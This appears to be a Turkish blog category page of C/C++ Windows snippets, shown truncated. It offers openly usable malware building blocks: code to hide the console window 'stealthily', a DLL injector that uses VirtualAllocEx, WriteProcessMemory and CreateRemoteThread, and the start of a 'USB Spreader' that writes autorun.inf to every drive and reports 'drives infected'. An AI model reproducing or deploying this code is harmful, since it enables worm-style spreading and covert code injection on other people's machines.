"C/C++" kategorisindeki yazıları incelemektesiniz.

TaskBar ı gizlemek

TaskBar ı gizlemek

Kod: #include <windows.h> #include<process.h> using namespace std; int main(int argc, char *argv[]) { HWND h; h=FindWindow("Shell_TrayWnd","");//Taskbar bul ve h ye ata ShowWindow(h,SW_HIDE); //Gizle Sleep(2000); // 2 Sn bekle ShowWindow(h,SW_SHOW); //Göster return 0; }

Aktif Pencerenin Başlığını Değiştirmek

Aktif Pencerenin Başlığını Değiştirmek

Kod: #include <windows.h> #include<Winuser.h> using namespace std; int main(int argc, char *argv[]) { HWND window; Sleep(1000); window = GetForegroundWindow(); SetWindowText(window,"d34dkn16h7"); return 0; }

Konsol u Gizlemek

Konsol u Gizlemek

HWND stealth; AllocConsole (); stealth = FindWindowA ( "ConsoleWindowClass", NULL ); ShowWindow ( stealth, 0 ); bu kod konsol penceresini gizler.Windows için görünür pencereyi yok eder.

Dll injector

Dll injector

#include <iostream> using namespace std; #include <windows.h> #include <stdio.h> #include <tlhelp32.h> #define CREATE_THREAD_ACCESS (PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ) BOOL Inject(char *procname, char *dllname) { HANDLE process; char buf[50]={0}; LPVOID stringaddr, loadlibaddr; PROCESSENTRY32 Pc = { sizeof(PROCESSENTRY32) }; HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0); if(Process32First(hSnapshot, &Pc)){ do{ if(!strcmp(Pc.szExeFile,procname)){ process=OpenProcess(CREATE_THREAD_ACCESS,FALSE,Pc. th32ProcessID); } }while(Process32Next(hSnapshot, &Pc)); } if(!process) { cout<<"Error: "<<GetLastError()<<" opening process"<<endl; system("pause"); return false; } loadlibaddr = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.d ll"), "LoadLibraryA"); stringaddr = (LPVOID)VirtualAllocEx(process, NULL, strlen(dllname), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(process, (LPVOID)stringaddr, dllname, strlen(dllname), NULL); HANDLE thread=CreateRemoteThread(process, NULL, NULL, (LPTHREAD_START_ROUTINE)loadlibaddr, (LPVOID)stringaddr, NULL, NULL);xxload the function into targets memory if(thread==NULL){ cout<<"Error: "<<GetLastError()<<" creating...

USB Spreader

USB Spreader

include <windows.h> #include <stdio.h> int InfectDrives( ); int WriteINI( char* sINI, char* sFILE ); int ReadINI( char* sINI, char* sFILE ); int FileCopy( char* sNEW ); char* szFileName = "blah.exe"; int main() { int i = InfectDrives( ); printf( "drives infected: %i", i ); getchar( ); return 0; }; int InfectDrives( ) { char szBuffer[260]; char szInit[520], szFile[520]; int iCount = 0, iGet, iType; iGet = GetLogicalDriveStringsA( sizeof( szBuffer ), szBuffer ); if( iGet == 0 ) { return( 0 ); } char *szDrive = szBuffer; while( *szDrive ) { iType = GetDriveTypeA( szDrive ); sprintf( szInit, "%sautorun.inf", szDrive );...